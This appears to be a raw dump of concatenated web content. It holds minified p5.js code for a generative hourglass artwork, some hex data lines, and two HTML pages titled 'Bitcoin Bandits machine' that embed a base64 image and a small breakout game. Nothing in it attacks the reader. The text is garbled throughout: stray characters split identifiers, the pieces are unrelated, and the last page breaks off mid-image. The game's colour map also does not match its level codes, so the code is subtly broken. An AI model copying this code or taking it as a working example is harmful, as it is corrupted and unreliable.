ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
FjDOUT:4966C95F061F98575961B984347999542E22E2D65C441C5205475BFC66B91965
FjDOUT:70F2623704A0F28715F602E56950BCFDDAACC7AA73A67C90EC06D91A602948F0
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","OM
","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].lengM
th;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvM
as.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.hM
eight}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;coM
ntext.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAT8klEQVR4nO3dX4xcV30H8GOIC6TEDWrWIXHoslgNuBatIKqwsCw5tlQjpNpRoalKE0FSiwpV6p8HR5WoeECNVOGH8oKQqCuDIkUqFVISVISRsrFkJXKFHCg0mBiZZSFOUjuobkzTQELTh/W9c3b33p25M3dmfjPz+bzk5M6dM8f589NvvvfcO5t2Hzj4WgIgnNeNewEAVFOgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCumbcCyCux088Mu4lM
0JLdBw6Oewn0QQcNEJQCDRCUiIPaKOPIkSPl+OjRo+X41vfuGvqaaMe5J0+PewkMQAcNEJQCDRCUiGPGVMUZeZTRxGd+9J1Bl8MQ3Pf23x73EmiJDhogKAUaICgRx5TqZWdG4eFHT1Wee2j/np4/L/9afcv115bjB84t9zxH7vatcxvOl7+eq/vs73/pCymllD5x5JN9rSellD5/9P4N53js4qUN35+veW5uazn+8lNP9byGuj+3uGk66aABgtJBT4EmF/7quuVRq+oE8+73saz7vfv6+YE/r+h6iy54kDl66X6rvgHkf6Y7sznqFHPU/XOp66aZHjpogKAUaICgRBwTpI0Lf3TkF/vy6KPueL+eufxSSmnNRcKBZ2UW6KABglKgAYIScQTUJMpIaTLjjMo9wxc7w1W7IIa0hjy+WF5erjzer257wXvZxQE6aICgFGiAoEQcYzaJN5m0YdAbVWpvq75YfbhQt0Njfr76Zph+bw0vdm6klNLdt67M3e9t78wuHTRAM
UAo0QFAijhFxk0kMdTekNDn/0qVOjnLnzp3lOH8ux6oIpkvsUqeco2Z3C9NPBw0Q1KbdBw6+Nu5FTJNp2sOcPw+66le9PYM4pvzZ3MWveu8+cHBcy2EAOmiAoBRogKBcJBzArO5hLvj1aBguHTRAUAo0QFAijh7M0h7mXn7Ju9gZAAyXDhogKAUaICgRxxoRdmbUPamteCpaSqufltavqjgjvyElt2/fvoE/j+FZXFysPO4GlcmmgwYISoEGCGpmI45R78zIY4t+o4r8ge9N5qjbmVEVZ4gyYhNlzBYdNEBQCjRAUDMVceSxxsLCQjn+8Ic/XI5HcaNJVVTRdFdGtznqHhWay/8ZFJaWlhqtI4Jjx4719b7Dhw+3vJJ2Vf27EGXMFh00QFAz1UHXGcV+5vyiXpNfd+73fXXyrnnzW24ceL5o6n61uzieH4v456/65qNrnl06aICgFGiAoEQcLSnijDySqPs151W/zNzg4mD+vrrbwWddHmEsLy9XHodJoYMGCEqBM
BghKxLFGVVSR7y+u25lRF2f083n9zjVqYWKWj368HH7/S18ox/Pz8+tOfVd27mPDXVVpVaQFDeigAYJSoAGCEnGk6q/qdU+OayN+6DcaiBIpFOvY9sz5Ma+kwv79417BOheu/lXUQVM6aICgFGiAoEQcaxRxRhvPvajT5IaTunW0/fuE3eTrLKKN9x04NPTPnQbbTjycUupEHSmJO+iNDhogKB30iLTRkY+6awbGSwcNEJQCDRCUiGONIoroJU5oM7ao+wyxBswuHTRAUAo0QFAijjWq9kH3e6t33X7nbrFFvw/0B6aLDhogKAUaICgRR0u67cYQWwBN6aABglKgAYIScQygajfGly/8sOv77tz2jqGtCZgeOmiAoHTQNer2Ktdd7Cs657nN13Xm+NJvlOMHPvrjdeempJsG6umgAYJSoAGCEnGk/vco51FFEW3k0cjS4aVyfPetC+U4v428mEPUAaylgwYISoEGCErE0VBVrJFbWurEGgsLC+teTymlmz90vvM3M
